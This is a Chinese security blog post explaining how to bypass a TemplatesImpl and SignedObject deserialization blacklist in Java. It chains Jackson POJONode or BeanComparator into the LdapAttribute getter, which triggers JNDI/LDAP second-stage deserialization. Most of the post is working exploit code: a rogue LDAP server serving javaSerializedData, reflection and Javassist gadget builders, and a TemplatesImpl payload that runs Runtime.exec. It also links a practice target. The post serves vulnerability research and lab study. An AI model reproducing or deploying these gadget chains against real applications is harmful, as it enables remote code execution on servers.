使用JDK类绕过TemplatesImpl黑名单

原创 Y4Sec Team Y4Sec Team

0x00 介绍

一次挖洞过程中，遇到了 TemplatesImpl resolveClass 黑名单，后来想起 RWCTF 中的一道题目，成功绕过该黑名单。于是和大家分享这个思路，并编写了对应的环境和靶机，希望大家可以有所收获

这个黑名单内容如下

private static final List<Object> BLACKLIST = Arrays.asList(        "java.security.SignedObject",        "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",        "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");

可以看到 SignedObject 也加入了黑名单中，在先知中已有文章说明如果通过 SignedObject#getObject 方法进行二次反序列化

0x01 分析

TemplatesImpl 链是一般调用栈如下

-> getOutputProperties-> newTransformer-> getTransletInstance-> defineTransletClasses-> defineClass

调用 getter 后最终调用 defineClass 加载了反射设置的 _bytecodes

最常见的两个链，底层都是TemplateImpl

（1）CB 链 - 最新版的 CB 链仍然能够利用，实战价值较大

（2）Jackson 链 - 能打 SpringBoot 默认原生反序列化的链

以 CB 链为例，调用 getOutputProperties 方法的过程如下：BeanComparator 类 compare 方法调用已设置属性的 getter 方法，当对象位 TemplateImpl 且属性是 outputProperties 时完成整个链

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)// ...getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)

不难看出，这里只要是一个 getter 触发点即可

BeanComparator#compare -> AnyObject#getAny-> RCE

再来看 Jackson POJONode 原生链

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)// ...serialize:115, POJONode (com.fasterxml.jackson.databind.node)// ...writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)// ...nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)toString:68, BaseJsonNode (com.fasterxml.jackson.databind.node)readObject:86, BadAttributeValueExpException (javax.management)

POJONode 父类 BaseJsonNode 包含 toString 方法，通过 Bad...Exception 触发。在 Jackson 中把对象序列化到 JSON 字符串的方法是 ObjectMapper#writeValueAsString

在 POJONode 的 serialize 方法中，如果目标类型不是 JsonSerializable 将会进入 defaultSerializaValue 方法

最终在 BeanSerializerBase#serializeFields 中遍历所有属性，反射调用其 getter 方法

可以看出，无论 CB 还是 Jackson 原生链，底层逻辑一致：寻找一个可以导致 RCE 的 getter 方法和类即可

0x02 寻找类

寻找一个可以导致 RCE 的 getter 方法和类

能想到比较有可能思路大概有：getConnection -> ctx.lookup -> JNDI

遗憾这种思路可能存在于第三方库中，在 JDK 中找不到符合的

在 RWCTF 中，出题师傅发现 com.sun.jndi.ldap.LdapAttribute 类存在 getter 可以导致 JNDI 注入，这个类从低版本 JDK 到 8 都适用

该类中存在两处 getter 可以调用传统的 ctx.lookup 方法

然而这两个方法的 lookup 内容并不完全可控，因此无法利用

这里利用的是 java.naming.provider.url 属性，通过 getBaseCtx 方法设置 JNDI 的环境属性，再通过 getAttributeDefinition 调用 c_lookup

而漏洞的出发点，还在 getAttributeDefinition 方法中，但不再是 lookup 方法，而是 getBaseCtx 后通过 getSchema 触发

在 LdapCtxFactory 的 getInitialContext 方法中，读取了 JDNI Env 设置的 java.naming.provider.url 属性

在getUsingURLs 方法，一步步进入 LdapCtx 构造方法，通过 socket 与原创 LDAP 服务端建立了连接

在 getSchema 方法时，可以进入 LdapCtx#c_lookup 方法

c_lookup:1017, LdapCtx (com.sun.jndi.ldap)c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx)c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx)p_resolveIntermediate:397, ComponentContext (com.sun.jndi.toolkit.ctx)p_getSchema:432, ComponentDirContext (com.sun.jndi.toolkit.ctx)getSchema:422, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)getSchema:210, InitialDirContext (javax.naming.directory)getAttributeDefinition:207, LdapAttribute (com.sun.jndi.ldap)

当 LDAP Server 返回的 javaClassName 不为空时进入 decodeObject

当 javaSerializedData 数据不为空时，进入反序列化对象的方法

最终可以再次触发反序列化

另外，普通的 ctx.lookup 触发的点也是 c_lookup（调用栈如下）

c_lookup:1017, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)

总结：LdapAttribute 这条链如下

LdapAttribute # getAttributeDefinition   this.getBaseCtx()LdapAttribute # getBaseCtx  this.baseCtxEnv.put("java.naming.provider.url", this.baseCtxURL);  this.baseCtx = new InitialDirContext(this.baseCtxEnv);LdapAttribute # getAttributeDefinition  baseCtx.getSchema(this.rdn)LdapCtx # c_lookupObj # deserializeObject

该绕过不仅可以在低版本 JDK 复现，在高版本 JDK 中也适用

0x03 复现

在复现之前，存在最后一个问题，为什么可以绕过黑名单

resolveClass 方法的作用是根据类的名称获取对应的 Class 对象，并通过类加载器加载该类。重写 resolveClass 方法的作用范围是使用了该 ObjectInputStream 类进行 readObject 操作时。不会影响到其他 ObjectInputStream 的 readObject 操作

简单来说，外层的黑名单不负责内部 readObject 操作的安全

new ObjectInputStream(        new ByteArrayInputStream(byteArrayOutputStream.toByteArray())) {    @Override    protected Class<?> resolveClass(ObjectStreamClass desc)            throws IOException, ClassNotFoundException {        System.out.println(desc.getName());        return super.resolveClass(desc);    }}.readObject();

一次反序列化经过 resolveClass 的所有类如下

javax.management.BadAttributeValueExpExceptionjava.lang.Exceptionjava.lang.Throwable[Ljava.lang.StackTraceElement;java.lang.StackTraceElementjava.util.Collections$UnmodifiableListjava.util.Collections$UnmodifiableCollectionjava.util.ArrayListcom.fasterxml.jackson.databind.node.POJONodecom.fasterxml.jackson.databind.node.ValueNodecom.fasterxml.jackson.databind.node.BaseJsonNodecom.sun.jndi.ldap.LdapAttributejavax.naming.directory.BasicAttributejavax.naming.CompositeName

如果想要复现这个绕过，我们需要自行写一个 LdapServer

public class LDAPServer {    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) {        int port = 1389;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen",                    InetAddress.getByName("0.0.0.0"),                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();        } catch (Exception e) {            e.printStackTrace();        }    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            String base = result.getRequest().getBaseDN();
            Entry entry = new Entry(base);            entry.addAttribute("javaClassName", "Y4Sec");            try {                entry.addAttribute("javaSerializedData", JacksonTemplatePayload.getData());                result.sendSearchEntry(entry);                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));                System.out.println("Send javaSerializedData");            } catch (Exception e) {                e.printStackTrace();            }        }    }}

构建链的部分代码，替换了 getter 部分即可

public static void main(String[] args) throws Exception {    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");    ctClass.removeMethod(writeReplace);    ctClass.toClass();
    POJONode node = new POJONode(getGadgetObj());    BadAttributeValueExpException val = new BadAttributeValueExpException(null);    Field valfield = val.getClass().getDeclaredField("val");    valfield.setAccessible(true);    valfield.set(val, node);    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();    ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);    oos.writeObject(val);    System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));     }
public static BasicAttribute getGadgetObj() {    try {        Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");        Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});        clazz_cons.setAccessible(true);        BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});        Field bcu_fi = clazz.getDeclaredField("baseCtxURL");        bcu_fi.setAccessible(true);        bcu_fi.set(la, "ldap://127.0.0.1:1389/");        CompositeName cn = new CompositeName();        cn.add("a");        cn.add("b");        Field rdn_fi = clazz.getDeclaredField("rdn");        rdn_fi.setAccessible(true);        rdn_fi.set(la, cn);        return la;    } catch (Exception e) {        e.printStackTrace();    }    return null;}

在 LdapServer 中使用正常的 Jackson TemplatesImpl Gadget

该例子中 SignedObject 已经拉黑，该类也可以结合 POJONode 来利用（如果目标拉黑 TemplatesImpl 但是没拉黑 SignedObject 适用）

public static void main(String[] args) throws Exception {    List<Object> list = new ArrayList<>();
    ClassPool pool = ClassPool.getDefault();    CtClass ctClass = pool.makeClass("a");    CtClass superClass = pool.get(AbstractTranslet.class.getName());    ctClass.setSuperclass(superClass);    CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
    constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");    ctClass.addConstructor(constructor);    byte[] bytes = ctClass.toBytecode();    TemplatesImpl templatesImpl = new TemplatesImpl();    setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});    setFieldValue(templatesImpl, "_name", "y4sec");    setFieldValue(templatesImpl, "_tfactory", null);
    ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");    ctClass.removeMethod(writeReplace);    ctClass.toClass();
    POJONode jsonNodes = new POJONode(templatesImpl);
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);    Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");    val.setAccessible(true);    val.set(exp, jsonNodes);
    list.add(exp);
    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");    kpg.initialize(1024);    KeyPair kp = kpg.generateKeyPair();    SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(),            Signature.getInstance("DSA"));
    POJONode jsonNodes1 = new POJONode(signedObject);
    BadAttributeValueExpException exp1 = new BadAttributeValueExpException(null);    val.set(exp1, jsonNodes1);
    ByteArrayOutputStream barr = new ByteArrayOutputStream();    ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);    objectOutputStream.writeObject(exp1);    FileOutputStream fout = new FileOutputStream("1.ser");    fout.write(barr.toByteArray());    fout.close();
    System.out.println(serial(exp1));}

0x04 靶场环境

对于这个问题，我编写了一个靶场，包含了一个 SpringBoot 应用，生成 Gadget 类和 LdapServer 辅助类

完整代码位于

https://github.com/Y4Sec-Team/no-templates

启动 NoTemplatesApplication 应用，使用 JacksonTemplatePayload 类生成普通 TemplatesImpl 链测试，报错该类位于黑名单

使用 SignedObject 二次反序列化绕黑名单同样报错

启动 LdapServer 后使用 JacksonLdapAttrPayload 生成 Payload 测试

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